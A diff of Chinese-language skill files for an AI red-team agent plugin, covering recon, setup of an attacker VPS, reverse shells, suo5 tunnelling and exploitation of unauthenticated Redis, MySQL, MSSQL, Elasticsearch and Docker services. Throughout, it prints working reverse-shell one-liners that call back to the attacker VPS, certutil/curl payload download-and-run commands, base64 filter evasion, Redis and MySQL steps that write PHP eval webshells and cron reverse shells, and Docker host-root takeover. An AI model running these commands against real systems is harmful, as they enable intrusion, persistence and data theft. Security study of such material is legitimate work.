2. **限速**:`naabu -rate 1000` 起步;`subfinder` 用被动源不加 `-all` 时更安静(配额消耗也少)。
3. **泛解析**:`dnsx` 会过滤;如果结果里出现大量同 IP 的随机子域,说明目标有泛解析,改用 `-wd` 或换爆破字典。
4. **API key(可选增强)**:`subfinder` 配置 `~/.config/subfinder/provider-config.yaml` 可接
Shodan/Censys/VirusTotal 等源(**需要用户提供 key**,见技能 `redteam-setup`);没 key 也能用免费源。
## 输出与落库(强制)
1. **逐条 `redteam_asset_add`**:`target`(域名/IP)、`names`(域名)、`ports`(带 `url=host`、`title`、`product=server`)、
`provenance=passive`(subfinder/dnsx 阶段)或 `active`(naabu/httpx 主动探测)、`tool`(具体工具名)。
2. **按 /24 自动建 C 段**(`redteam_asset_add` 已自动处理)→ 用 `redteam_asset_link` 建立
`resolves`(域名→IP)、`contains`(C 段→IP)关系,形成图谱(技能 `asset-correlation`)。
3. 每个阶段 `redteam_chain_add`:`stage_code=recon`,`tool` 写实际命令原文,`result` 写数量摘要
(如 `subfinder 命中 42 个子域 → dnsx 存活 31 → naabu 开放 87 端口 → httpx 存活 19 个站点`)。
4. **重点标注边缘资产**:测试/预发环境(test/dev/uat/pre/staging)、老旧系统、非标准端口、
非备案主体但同 C 段/IP 的站点——写进 `note`,这些是资产梳理阶段的高优先级目标。
5. 结论给指挥者时**给数字**:子域数 / 存活 IP 数 / 开放端口数 / 存活站点数 / 其中高优先级几条。
+99
View File
@@ -0,0 +1,99 @@
---
name: redteam-setup
description: 首次使用引导:引导提供 FOFA_KEY 与 VPS 登录方式、验证通道可用、给出降级口径(工具链由工具箱附件按需获取)
whenToUse: 用户第一次使用红队模式时;或 redteam_preflight 报出 onboarding.incomplete / 有技能 broken 时;或用户说"环境没配好""工具装一下"
role: plan
enabled: true
---
# 首次使用引导(把环境一次配齐)
**触发条件**(满足任一即执行本技能,不要跳过):
- `redteam_preflight` 返回里 `onboarding.complete=false`;
- preflight 有 `broken` 技能且原因是"缺环境变量"或"VPS 还是占位符";
- 用户第一次进红队模式、或明确说"环境/工具没配好"。
**核心原则**:**一次性把话说完,一次要齐**。不要挤牙膏式反复找用户要东西——那是这套引导存在的唯一理由。
## 一、先确认你有没有"工具箱"(npm 版默认没有)
npm 版 `dsh-redteam-mode` **不随包分发工具安装脚本与 9 份攻击链技能**(隧道 / 凭据 /
WebShell / 反弹 Shell / 横向移动 / 未授权利用)。原因:npm 的发布期自动审查会把
"包在安装后自动下载渗透二进制"判定为恶意行为特征,整包会被 Blocked。
- **有** `$DSH_HOME/redteam/setup.sh`(自行取过工具箱、或非 npm 安装)→ 按下面第一、二节走;
- **没有**(`redteam_preflight` 返回里 `onboarding.setup_script.exists=false`)→ 先去项目
GitHub Release 下载 `dsh-redteam-mode-<版本>-toolkit.tar.gz`,解压后按其中 README
**由用户自己执行**,再到第三节手动配 `FOFA_KEY` 与 VPS;
- **都不要**也行:只用本包自带的 14 个侦察/检测向技能(`fofa-recon` / `active-scan` /
`nuclei-scan` / `web-fingerprint` / `dir-bruteforce` 等)也能开工,只是拿不到需要落地的成果。
> **红线**:本插件**不替用户下载或安装任何安全工具**。需要什么,说清获取位置,由用户自己取、自己执行。
## 二、要用户提供什么(一次列清,说清"为什么"和"给到哪")
| 要什么 | 为什么必须 | 给到哪 | 没有会怎样 |
| --- | --- | --- | --- |
| **FOFA_KEY** | 资产测绘(`fofa-recon`)靠它铺开单位互联网资产面;没有就只能靠 crt.sh + 子域枚举,**边缘资产与未备案资产会大量漏掉** | 环境变量 `FOFA_KEY`,或写进 `$DSH_HOME/.env`(脚本会代写) | 测绘能力降级:找不全资产 → 后面四个阶段都受影响 |
| **VPS 登录方式**(`user@ip` + 私钥路径) | 反弹 Shell 必须落到**公网可控主机**上;载荷投递、隧道中转也依赖它 | `REDTEAM_VPS_HOST`(`用户@主机`)/ `REDTEAM_VPS_KEY`(私钥路径,默认 `$DSH_HOME/redteam/toolkit/vps/id_rsa`) | 拿不到服务器权限、投递不了载荷、进不了内网 |
| (可选)测绘平台 key | Quake / Hunter / ZoomEye 与 FOFA 结果差异大,交叉能多找出资产 | 环境变量,按需 | 少一路交叉验证 |
| (可选)允许 apt 安装 | 补系统工具 | 用户自己执行 `sudo apt install …` | 相关技能降级 |
**话术要求**:列完后**等用户补齐**。不要用"我先用降级方案开工"糊过去——除非用户明确说"就按现有条件打"。
**注意**:用户的 key **不要写进仓库、不要贴进报告、不要在 `redteam_chain_add` 的 `tool` 字段里出现**。
写进 `$DSH_HOME/.env`(脚本已 `chmod 600`)即可。
### FOFA_KEY 怎么拿(要能指导用户)
1. 登录 <https://fofa.info> → 右上角头像 → **个人中心 → API Key**;
2. 个人版限额:10,000 次查询/月、1 秒 1 次并发(**脚本与技能都按 1 秒 1 次限速,不要调高**,超了会触发 45012 封禁);
3. 拿到后可以自测:`curl -s "https://fofa.info/api/v1/info/my?key=<KEY>"` —— 返回 `"error":false` 即有效。
### VPS 怎么准备(要能指导用户)
- 一台**公网可达**的 Linux VPS(1 核 1G 够用),安全组放行:`22`(SSH)、`9000-9999`(反弹 Shell 监听段)、`9100`(载荷分发);
- 生成/放置 SSH 私钥到 `$DSH_HOME/redteam/toolkit/vps/id_rsa`,权限必须 `chmod 600`;
- 确认连通:`ssh -i <私钥> <user>@<ip> 'echo ok'`;
- **载荷分发服务**:VPS 上 `~/payload` 目录 + `python3 -m http.server 9100`(tmux 常驻),
目标机可 `curl http://<ip>:9100/fscan` 直接拉工具。
## 三、配置完的验证(必须做完才算引导成功)
逐项实测,**不要只看"文件存在"**:
```bash
# 1) FOFA key 有效
curl -s "https://fofa.info/api/v1/info/my?key=$FOFA_KEY" | grep -o '"error":[a-z]*'
# 2) VPS 可达(载荷服务是否在跑由工具箱的体检脚本负责)
ssh -i $DSH_HOME/redteam/toolkit/vps/id_rsa -o BatchMode=yes <user>@<ip> 'echo ok'
# 3) 技能注册表可见
# 用 redteam_preflight 复核,看 available 列表里实际有哪些技能
```
> 工具二进制与 nuclei 模板库的体检由工具箱里的 `redteam-setup.sh --check` 负责
> (npm 版不含该脚本,见第一节)。
## 四、最后一步:写完成标记并复核
配置补齐后,写完成标记(有工具箱脚本时脚本 `--yes` 会自动写;没有就手动写):
```bash
mkdir -p "$DSH_HOME/redteam" && date -Is > "$DSH_HOME/redteam/.setup-complete"
```
然后**再跑一次 `redteam_preflight`**,确认:`onboarding.complete=true`、`broken` 为空或只剩用户明确接受降级的项。
把最终结论按"能用什么 / 缺什么 / 缺的影响是什么"三条报给用户。
**改了 `$DSH_HOME/.env` 后必须重启 dsh web**,否则当前进程读不到新的环境变量——
这一步要明确告诉用户(智能体不能替他重启)。
## 五、用户就是不给某些资源时(降级口径)
| 缺什么 | 降级方案 | 必须向用户说明的限制 |
| --- | --- | --- |
| FOFA_KEY | crt.sh 证书透明 + `passive-recon` + `recon-pipeline`(subfinder/ksubdomain/dnsx)+ 搜索引擎与备案信息 | **资产收集不完整**,未备案/边缘资产会漏;得分上限受影响 |
| VPS | 只做不需要落地的成果(账号权限、数据、未授权访问、WebShell 交付) | **拿不到服务器权限、进不了内网**,`boundary`/`internal`/`central-system` 类得分点基本放弃 |
| 系统工具(nuclei 等) | 用工具箱里的替代品(httpx/subfinder 仍在) | 漏洞发现能力大幅下降,Nday 检测基本瘫痪 |
| 全部都没有 | 只做纯被动信息收集与资产梳理 | 明确告诉用户"这次只能做到信息收集阶段" |
**降级决定要写进汇报**:用户需要知道这次是在什么条件下打的。
+146
View File
@@ -0,0 +1,146 @@
---
name: shell-handler
description: 反弹 Shell 与载荷投递:VPS 上起 MSF/nc/socat 监听接收 shell,或从目标主动拉取载荷落地
whenToUse: 需要 RCE/命令执行回连、投递后续载荷、把一次性命令执行变成可交互会话时
role: exploit
enabled: true
---
# 反弹 Shell 与载荷投递(拿到回连会话)
> **先加载 VPS 配置**:本技能里所有 `$REDTEAM_VPS_HOST` / `$VPS_USER` 都来自本机配置,
> 首次由 `bash $DSH_HOME/redteam/setup.sh` 写入 `$DSH_HOME/.env`。每条命令前先 source 一次:
> ```bash
> set -a; . "$DSH_HOME/.env" 2>/dev/null || . "$HOME/.dsh/.env"; set +a
> VPS_USER="${REDTEAM_VPS_USER:-ubuntu}"; VPS="$REDTEAM_VPS_HOST"
> ```
> 没配过就跑一次 `setup.sh`(技能 `redteam-setup`),它同时会验证 SSH 连通性与载荷服务。
**命令执行 ≠ 会话**。一次性的 `?cmd=whoami` 只能证明有洞,不能持续操作。本技能负责把"能执行命令"
变成**稳定、可交互、可复用**的回连会话,并投递后续载荷(马、隧道、扫描器)。
## 本机基础设施
| 项 | 值 |
| --- | --- |
| VPS | `$REDTEAM_VPS_HOST`(SSH 端口 22,私钥 `$DSH_HOME/redteam/toolkit/vps/id_rsa`) |
| 载荷分发 | `http://$REDTEAM_VPS_HOST:9100/`(fscan/gogo/冰蝎马/哥斯拉马已同步) |
| 监听端口段 | `9000-9999` |
| 会话管理 | `tmux`(监听必须跑在 tmux 里,否则断开即丢) |
| 本机工具 | `nc`、`socat`、`msfconsole` 6.5.3(`exploit/multi/handler`、`exploit/multi/script/web_delivery` 已验证存在) |
配套技能:`vps-reverse-shell`(VPS 登录与监听的具体操作)、`webshell-toolkit`(落地冰蝎/哥斯拉马)。
## 一、选型:什么时候用哪个
| 场景 | 用法 |
| --- | --- |
| **临时验证**(只想跑一条命令看回显) | `nc -lvnp <port>` + 目标侧 bash/python 反弹,够用就走 |
| **要长期操作 / 传文件 / 开隧道**(**主力**) | **MSF `multi/handler`**(自动重连、可升级 meterpreter、能开 socks) |
| **目标只能出 HTTP(S)** | `web_delivery`(MSF 生成一行命令,目标主动拉 payload) |
| **Windows 目标、要稳** | MSF handler + `shell_to_meterpreter` 升级 |
| **需要把内网流量代理回来** | 拿到 shell 后**不是**用 shell 代理,而是落地 WebShell → `suo5-tunnel`(见技能) |
## 二、MSF handler(推荐主力)
```bash
# 1) 在 VPS 的 tmux 里起监听(本机/VPS 都行,看回连方向)
tmux new -s handler
msfconsole -q
msf6 > use exploit/multi/handler
msf6 > set payload linux/x64/meterpreter/reverse_tcp # Windows:windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST $REDTEAM_VPS_HOST
msf6 > set LPORT 9001
msf6 > set ExitOnSession false # 关键:会话断了不退出,继续等重连
msf6 > exploit -j # 后台监听
```
**起监听前先确认端口没被占**:`ss -lntp | grep 9001`;VPS 安全组要放行该端口。
一次性投递 + 收会话的完整链路示例:
```bash
# 目标侧(假设有一个命令执行点)
bash -c 'bash -i >& /dev/tcp/$REDTEAM_VPS_HOST/9001 0>&1'
# 无 bash 时用别的(见下表)
```
## 三、各语言反弹一句话(按目标环境选)
```bash
# Linux - bash
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
# Linux - 无 bash(sh + nc)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc <IP> <PORT> > /tmp/f
# Linux - python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<IP>",<PORT>));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh","-i"])'
# Linux - perl
perl -e 'use Socket;$i="<IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
# Windows - powershell(注意转义与执行策略)
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('<IP>',<PORT>);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)}"
# Windows - certutil 下载载荷后执行
certutil -urlcache -split -f http://$REDTEAM_VPS_HOST:9100/fscan.exe C:\Windows\Temp\f.exe && C:\Windows\Temp\f.exe -h 10.0.0.0/24
# Linux - curl/wget 下载载荷
curl -s http://$REDTEAM_VPS_HOST:9100/gogo -o /tmp/gogo && chmod +x /tmp/gogo && /tmp/gogo -i 10.0.0.0/24 -m ss
```
**编码绕过**:命令里有空格/引号被拦时,base64 编码后解:
```bash
# 生成(本机)
echo -n 'bash -i >& /dev/tcp/$REDTEAM_VPS_HOST/9001 0>&1' | base64 -w0
# 目标执行
echo <BASE64> | base64 -d | bash
```
## 四、MSF web_delivery(只能出 HTTP 时)
```bash
msf6 > use exploit/multi/script/web_delivery
msf6 > set target 7 # 7 = Linux Python(先 show targets 看列表)
msf6 > set payload python/meterpreter/reverse_tcp
msf6 > set LHOST $REDTEAM_VPS_HOST
msf6 > set LPORT 9002
msf6 > exploit -j
# MSF 会输出一行命令(形如 python -c "import urllib.request;..."),
# 把它投到目标的命令执行点 → 目标主动拉 payload → 会话建立
```
## 五、升级与维持
```bash
# shell 升级为 meterpreter(能开 socks、传文件、提权)
msf6 > sessions -l
msf6 > sessions -u <id> # 或者用 post/multi/manage/shell_to_meterpreter
# 通过 meterpreter 开内网 socks 代理
meterpreter > run autoroute -s 10.0.0.0/24
meterpreter > background
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > set VERSION 5
msf6 > exploit -j
# 之后 proxychains 指向 127.0.0.1:1080 即可进内网
```
> ⚠️ 记分口径:**只有自己 VPS 上的代理不算隧道**。通过 meterpreter autoroute 打到的内网目标属于
> `entry_kind=target-agent`(经目标已控进程转发),登记 `redteam_tunnel_add` 时必须说清目标侧那一端。
## 六、纪律(必须遵守)
1. **监听必须跑在 tmux 里**:SSH 断线会杀掉监听,会话就丢了。`tmux new -s handler` / `tmux a -t handler`。
2. **端口先探测占用**,VPS 安全组放行;一台机器同时别开太多监听(9000-9999 段内按序用)。
3. **反弹 shell 是"目标主动外连"**:目标出网受限时先试 HTTP(S) 出网(80/443/8080),
完全不出网就只能走 WebShell + 隧道(`suo5-tunnel`)。
4. **不要在生产系统跑会重启服务的载荷**;提权/内核漏洞类操作先评估重启风险。
5. **会话要登记**:拿到 shell 立刻 `redteam_session_check` 后面能用;隧道登记见 `redteam_tunnel_add`。
## 七、输出与落库(强制)
1. **拿到回连会话立刻记分**:`redteam_score_hit`(`server-host` / `server-host`),`evidence` 写「资产|shell 类型与权限」(如 `10.0.0.5|root shell(uid=0)`)。
2. **会话落库**:`redteam_access_add`(`method=reverse-shell`,写清 `target`、`user`、`privilege`、监听地址与端口)。
3. **隧道落库**(若通过它进了内网):`redteam_tunnel_add`,`entry_kind` 必须说清目标侧那一端
(`target-outbound`=目标反弹/目标跑 frp 客户端、`target-http`=经目标 WebShell 的 suo5、`target-agent`=经目标已控进程转发),
然后 `redteam_session_check` 实测连通性。
4. 每个关键动作 `redteam_chain_add`:`stage_code=internet`(互联网侧拿权限)/ `boundary`(搭隧道)/ `internal`,
`tool` 写**实际命令原文**(含完整反弹命令或 MSF 配置),`result` 写回显摘要(如 `uid=0(root) gid=0(root)`)。
5. **交付给用户能复用的入口**:优先落地**冰蝎马/哥斯拉马**(技能 `webshell-toolkit`)——用户能在控制台直连操作;
临时反弹会话要说明"这是一次性会话,非交付入口"。
+63
View File
@@ -0,0 +1,63 @@
---
name: suo5-tunnel
description: 用 suo5 通过 WebShell/HTTP 建立 SOCKS5 隧道,把内网流量代理出来(内网突破核心工具)
whenToUse: 已拿到一台机器(WebShell/RCE)需要进入内网扫描与横向时
role: internal
enabled: true
---
# suo5 内网隧道
> **打进内网的标准通道只有这一条**:拿到 WebShell/RCE 后**必须**先用 suo5 建 socks5 隧道,
> 把隧道登记进库(`redteam_tunnel_add` kind=suo5)并用 `redteam_session_check` 验证真的通,
> 然后才谈内网测绘与横向。**没有隧道就不要手搓内网探测脚本**——手搓既慢又容易把入口打死。
> 隧道入口的 WebShell 必须是冰蝎马/哥斯拉马(见技能 `webshell-toolkit`),否则用户无法复用。
二进制:`$DSH_HOME/redteam/toolkit/suo5/suo5-linux-amd64`(v2.2.0,静态 Go,无依赖)
## 建立隧道
```bash
SUO5=$DSH_HOME/redteam/toolkit/suo5/suo5-linux-amd64
# 1) 用 WebShell 作为隧道端点(HTTP 型)
$SUO5 -t "https://target.example.com/upload/x.jsp" -l 127.0.0.1:1080 -m socks5
# 2) 需要认证时
$SUO5 -t "https://target.example.com/upload/x.jsp" -l 127.0.0.1:1080 --auth user:pass
# 3) 只走 HTTP 代理(部分工具只支持 http proxy)
$SUO5 -t "https://target.example.com/upload/x.jsp" -l 127.0.0.1:8081 -m http
```
参数速查:`-t` 目标 shell URL、`-l` 本地监听、`-m socks5|http`、`--auth user:pass`、`-r` 重连间隔、`--debug` 看流量。
## 通过隧道做内网操作
```bash
# curl 走 socks5
curl -s --socks5 127.0.0.1:1080 http://10.0.0.5:8080/ -I
# nmap 必须用 -sT(全连接)+ proxychains,或直接 --proxies(新版)
proxychains4 -q nmap -sT -Pn -p 22,80,445,3389,3306,6379,8080 10.0.0.0/24 -oN runs/internal-nmap.txt
# 数据库 / 中间件
proxychains4 -q redis-cli -h 10.0.0.6 -p 6379 info
proxychains4 -q mysql -h 10.0.0.7 -u root -p --connect-timeout=5
# 浏览器/接口测试走隧道
curl -s --socks5 127.0.0.1:1080 "http://10.0.0.8:8080/api/user/1" -H "Cookie: JSESSIONID=..."
```
## 内网扫描节奏(避免告警)
- 先 `/24` 存活探测(`nmap -sn` 经隧道或 ICMP),再对存活主机做常见端口。
- 速率降到 `-T2 --max-rate 50`,避免 IDS 触发。
- 新发现的资产全部 `redteam_asset_add`(会自动按 /24 建 C 段),并标 `provenance="active"`、`tool="suo5+nmap"`。
## 落库
- **建好立刻登记(强制)**:`redteam_tunnel_add`(`kind=suo5`、`listen=127.0.0.1:1080`、`entry=<WebShell URL>`、`reach=可达网段`、`command=完整启动命令`),`webshell_id` 指向对应的 WebShell 记录;随后 `redteam_session_check` 实测连通性,确认 status=active 再往下走。
- 隧道本身写 `redteam_chain_add`(stage=pivot,detail 写隧道端点与本地端口)。
- 每个内网资产、每次成功登录、每条凭据分别落库(asset/access/credential)。
- 隧道掉了用 `redteam_tunnel_update` 标 down;不要留一个"看起来在跑其实不通"的隧道给后续角色踩空。
## 注意事项
- 隧道端点文件用完后按需清理,恢复目标原状。
- 免费公网代理不适合承载隧道;suo5 走的是目标自身的 WebShell,不需要额外代理。
- 只在授权范围内使用。
+151
View File
@@ -0,0 +1,151 @@
---
name: unauth-exploit
description: 未授权访问与信息泄露利用链:Redis/MySQL/MSSQL/ES/Docker/MongoDB 等暴露服务直取数据或写马
whenToUse: fscan/nmap 发现暴露的数据库与中间件端口(6379/3306/1433/9200/27017/2375),或 Web 侧发现未授权接口
role: exploit
enabled: true
---
# 未授权访问利用(暴露服务的直取与写马)
公网上暴露的 Redis/MySQL/ES/Docker 是**性价比最高的得分点**:不用漏洞、不用爆破,
连上去就是数据权限(`db-credential`)甚至服务器权限(写文件/写计划任务 → `server-host`)。
内网里这些服务的命中率更高(技能 `fscan-intranet` 会直接把未授权项报出来)。
## 判定顺序(先轻后重)
1. **只读探测**(确认未授权,不改变任何状态):`INFO`/`PING`/`SELECT`/列库列表;
2. **取数据**(`db-credential` 得分):读库、读表、导出敏感数据;
3. **写权限利用**(`server-host`/`server-host` 得分):写文件、写计划任务、写 SSH key、主从复制 RCE;
4. **每一步都必须留证据**(原始命令 + 回显)。
## 一、Redis(6379)——最高频
```bash
# 1) 未授权判定(不写任何东西)
redis-cli -h <target> -p 6379 INFO server # 返回 redis_version 即未授权
redis-cli -h <target> -p 6379 CONFIG GET dir
redis-cli -h <target> -p 6379 KEYS '*' | head -50
# 2) 取数据(db-access)
redis-cli -h <target> -p 6379 --scan --pattern '*' > runs/redis-keys.txt
redis-cli -h <target> -p 6379 GET <key>
redis-cli -h <target> -p 6379 DUMP <key> > runs/redis-dump-<key>.bin
# 3) 写文件 → 拿服务器权限(需 CONFIG SET 可用)
# a. 写 WebShell(知道 web 根目录时最直接)
redis-cli -h <target> -p 6379 CONFIG SET dir /var/www/html
redis-cli -h <target> -p 6379 CONFIG SET dbfilename shell.php
redis-cli -h <target> -p 6379 SET x '<?php @eval($_POST["c"]);?>'
redis-cli -h <target> -p 6379 SAVE
# b. 写 SSH 公钥(目标有 root 且允许密钥登录)
redis-cli -h <target> -p 6379 CONFIG SET dir /root/.ssh
redis-cli -h <target> -p 6379 CONFIG SET dbfilename authorized_keys
redis-cli -h <target> -p 6379 SET x '<你的公钥>'
redis-cli -h <target> -p 6379 SAVE
# c. 写计划任务(反弹 shell)
redis-cli -h <target> -p 6379 CONFIG SET dir /var/spool/cron
redis-cli -h <target> -p 6379 CONFIG SET dbfilename root
redis-cli -h <target> -p 6379 SET x '\n\n*/1 * * * * bash -i >& /dev/tcp/$REDTEAM_VPS_HOST/9001 0>&1\n\n'
redis-cli -h <target> -p 6379 SAVE
# 4) 主从复制 RCE(Redis 4.x/5.x,模块加载)
# 用现成工具(redis-rogue-server / redis-ssrf),先 redteam_poc_search 查知识库有无现成脚本
```
> **落地成可交付入口**:写进去的必须是**冰蝎马/哥斯拉马**(技能 `webshell-toolkit`),
> 一句话马用户连不上、不算交付;写完立刻用客户端实测连接。
## 二、MySQL / MariaDB(3306)
```bash
# 1) 未授权或弱口令(先试空口令/root 空口令,再用 credential-attack 爆破)
mysql -h <target> -u root -p'' -e "select version();"
mysql -h <target> -u root -p'root' -e "show databases;"
# 2) 取数据(db-access,注意"大量敏感信息"门槛是 ≥100 万条)
mysql -h <target> -u root -p'xxx' -e "show databases;"
mysql -h <target> -u root -p'xxx' -D <db> -e "show tables;"
mysqldump -h <target> -u root -p'xxx' --databases <db> > runs/mysql-<target>.sql
wc -l runs/mysql-<target>.sql
# 3) 写文件 → getshell(需 FILE 权限 + secure_file_priv 为空)
mysql -h <target> -u root -p'xxx' -e "select '<?php @eval(\$_POST[c]);?>' into outfile '/var/www/html/s.php';"
# 4) UDF 提权(Linux:lib_mysqludf_sys;Windows:udf.dll 到插件目录)
# 先 redteam_poc_search 查知识库有无现成 UDF 脚本,避免手搓
```
## 三、MSSQL(1433)
```bash
# 1) 弱口令/未授权
impacket-mssqlclient <user>:<pass>@<target> -windows-auth # 或 sa/<pass>
# 2) 开 xp_cmdshell 执行命令(需 sysadmin)
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
# 3) 抓哈希提权 / 提权到 sysadmin
SQL> EXEC master.dbo.xp_dirtree '\\<你的IP>\share' # 配合 Responder 抓 NetNTLM
```
## 四、Elasticsearch(9200)
```bash
curl -s http://<target>:9200/ # 返回 cluster_name 即未授权
curl -s http://<target>:9200/_cat/indices?v # 列索引(含业务库名,直接看出数据价值)
curl -s http://<target>:9200/<index>/_search?size=5&pretty # 取样本
curl -s http://<target>:9200/<index>/_search?size=1000 -o runs/es-<index>.json # 批量导出
# 量级统计("大量敏感信息"要报实际条数)
curl -s "http://<target>:9200/<index>/_count?pretty"
```
## 五、Docker API(2375/2376)——直通 root
```bash
curl -s http://<target>:2375/version # 返回 JSON 即未授权
curl -s http://<target>:2375/containers/json
# 挂载宿主机根目录起容器 → 直接拿宿主 root
docker -H tcp://<target>:2375 run -it -v /:/mnt alpine chroot /mnt sh
# 无 docker 客户端时用 API 直接创建容器(先 redteam_poc_search 查知识库脚本)
```
## 六、其它常见未授权
| 服务 | 端口 | 判定 | 利用 |
| --- | --- | --- | --- |
| MongoDB | 27017 | `mongosh <ip>:27017` 无认证可列库 | 导库(`db-credential`) |
| Memcached | 11211 | `stats` 有回显 | 读缓存数据 |
| ZooKeeper | 2181 | `echo stat \| nc <ip> 2181` | 列节点取配置 |
| RabbitMQ | 15672 | `guest/guest` 登录管理台 | 读消息、看连接串 |
| Hadoop YARN | 8088 | REST API 未授权 | 提交任务 RCE |
| Jenkins | 8080 | `/script` 未授权 | Groovy 执行命令 RCE |
| Kibana | 5601 | 未授权 | 读 ES 数据 |
| rsync | 873 | `rsync <ip>::` 列模块 | 同步取文件 |
| NFS | 2049 | `showmount -e <ip>` | 挂载读文件 |
| SMB 共享 | 445 | `smbclient -L //<ip> -N` | 空会话读共享 |
| JDWP | 5005/8000 | 调试端口暴露 | 直接执行代码(先查知识库脚本) |
## 七、纪律与边界
1. **只读优先**:先 `INFO`/`SELECT`/`_cat/indices` 这类只读命令确认未授权,**再**考虑写操作。
2. **写操作要评估破坏性**:`CONFIG SET dir` 改 Redis 配置、写计划任务、UDF 提权都可能影响业务;
**生产库不要跑 `FLUSHALL`/`KEYS *` 全量拉取**(会阻塞服务),用 `--scan` 增量扫。
3. **导出量要如实统计**:`bigdata-system` 的 `evidence` 必须写**实际导出条数**(≥100 万条才算"大量敏感信息"得分点)。
4. **一个服务只算一次分**:同一资产同一端口的数据库权限按最高权限算一次(`db-credential` 按服务封顶)。
5. **内网目标走隧道**:所有命令加 `proxychains4 -f runs/proxychains-<port>.conf`(技能 `suo5-tunnel`),
**不要修改系统 proxychains 配置**(用 `-f` 指向 `runs/` 下的临时配置,用完删除)。
## 八、输出与落库(强制)
1. **未授权本身先落一条漏洞**:`redteam_vuln_add`(`title`=`Redis 未授权访问`、`severity=critical`、
`target`=**带端口** `10.0.0.5:6379`、`evidence`=实际回显 `INFO` 输出片段、`confidence=confirmed`、
`gained`=`数据库权限/可写文件`),配 `redteam_http_evidence_add`(原始命令与响应)。
2. **拿到数据权限记分**:`redteam_score_hit`(`db-credential`),`target` 必须**带端口**,`evidence` 写「资产:端口|拿到什么」
(如 `10.0.0.5:3306|root 全库读取,导出 user 表 132 万条`)。
3. **拿到服务器权限记分**:`server-host` / `server-host`(写马成功并实测连接后)。
4. **落库凭据**:数据库账号 → `redteam_credential_add`(`source=未授权`/`弱口令`,`tool` 写命令)。
5. **入口落库**:写进去的 WebShell → `redteam_webshell_add`(`shell_type` + `pass_key`),
隧道 → `redteam_tunnel_add`(`entry_kind` 说清目标侧那一端)。
6. 每个动作 `redteam_chain_add`:`stage_code=internet`(互联网侧)或 `internal`(内网侧),
`tool` 写**实际命令原文**、`result` 写回显摘要,导出文件放 `runs/`。
7. 测完立刻 `redteam_asset_test` 回写 `status`/`test`/`surface`,避免后来者重复打。
+187
View File
@@ -0,0 +1,187 @@
---
name: vps-reverse-shell
description: 用自建 VPS(<你的VPS_IP>,SSH 私钥登录)做反弹 Shell 落地与中转:9000-9999 端口监听、非交互会话驱动、载荷投递、反向隧道
whenToUse: 目标无法回连本机 / 需要公网固定监听端口 / 需要长期在线跳板 / 需要让智能体自己下发命令到反弹 Shell
role: exploit
enabled: true
---
# VPS 中转与反弹 Shell(<你的VPS_IP>)
自建公网 VPS 作为**反弹 Shell 落地端 + 载荷投递点 + 内网中转跳板**。目标只需要能访问互联网,
把 shell 弹到 VPS 的 9000-9999 端口;智能体通过 tmux 会话**非交互地**下发命令并读回输出。
## 何时用 / 何时不用
| 场景 | 选择 |
| --- | --- |
| 目标能直连本机(同网段、有公网 IP) | 直接本机监听,**不必**用 VPS |
| 目标只能出网、本机在内网(NAT 后) | ✅ 用 VPS,这是主场景 |
| 目标是云主机/容器,出网受限但能出 80/443 | ✅ 用 VPS 的 9000-9999(若被限制就用 443/80 类端口,见排障) |
| 只需要跑一条命令拿结果 | 优先用 Web 漏洞/RCE 的 HTTP 通道,比反弹 shell 更稳更隐蔽 |
## 资产与凭据
```
主机 : <你的VPS_IP>(腾讯云,Ubuntu 24.04,2C2G,主机名 <VPS 主机名>)
用户 : ubuntu(sudo 免密)
私钥 : ~/.dsh/redteam/toolkit/vps/id_rsa ← 权限 600,不要复制进仓库/聊天
可用端口: 9000-9999 ← 云安全组只放了这一段
工具脚本: ~/.dsh/redteam/toolkit/vps/vps.sh
```
**密钥纪律**:私钥只在上面这个路径。任何情况下不要把私钥内容写进技能文件、报告、仓库或对话。
已长期占用的端口:**9001 / 9007 / 9009(还有其他 9008 等临时服务)**,另有 tmux 会话 `cap / sh / up / www`。
**这些不是本次演练的,不要 kill、不要覆盖。**
## 快速开始
```bash
VPS=~/.dsh/redteam/toolkit/vps/vps.sh
$VPS status # 看 VPS 状态、剩余端口、现有会话
$VPS listen # 自动挑一个空闲端口开监听(也可 $VPS listen 9000)
# → 拿到端口后,用目标上的漏洞执行反弹命令(见下一节)
$VPS send 9000 'id; uname -a' # 目标回连后,下发命令
$VPS read 9000 60 # 读回输出
$VPS kill 9000 # 用完必须清理
```
`listen` 用 tmux + rlwrap + **自动重听循环**:连接断了会自动重新监听,适合反复触发。
## 工具用法(vps.sh)
| 子命令 | 作用 |
| --- | --- |
| `status` | VPS 身份、系统、工具就绪情况、9000-9999 占用、tmux 会话 |
| `port` | 自动返回一个 9000-9999 内的空闲端口 |
| `listen [port]` | 开持久监听(省略端口则自动选),打印目标侧命令模板 |
| `sessions` | 列出 VPS 上的 tmux 会话 |
| `send <port> '<cmd>'` | **把命令下发进已上线的反弹 Shell**(智能体主用) |
| `read <port> [行数]` | 读回该会话最近输出(默认 200 行) |
| `watch <port>` | 持续刷新输出(人看) |
| `attach <port>` | 本机 tmux 接管会话(人用,`Ctrl-B D` 退出) |
| `kill <port>` | 关闭监听 + 清理会话 + 释放端口 |
| `serve [port] [dir]` | VPS 上起 HTTP 服务,供目标下载载荷(默认 9008) |
| `push <本地> [远端]` | 上传文件到 VPS |
| `get <远端> [本地]` | 从 VPS 取回文件(把目标产物拉回来) |
| `sh '<命令>'` | 在 VPS 上直通执行任意命令 |
环境变量可覆盖:`VPS_HOST`、`VPS_KEY`。
## 目标侧反弹 payload(端口换成你 listen 的那个)
```bash
# Bash(最常用)
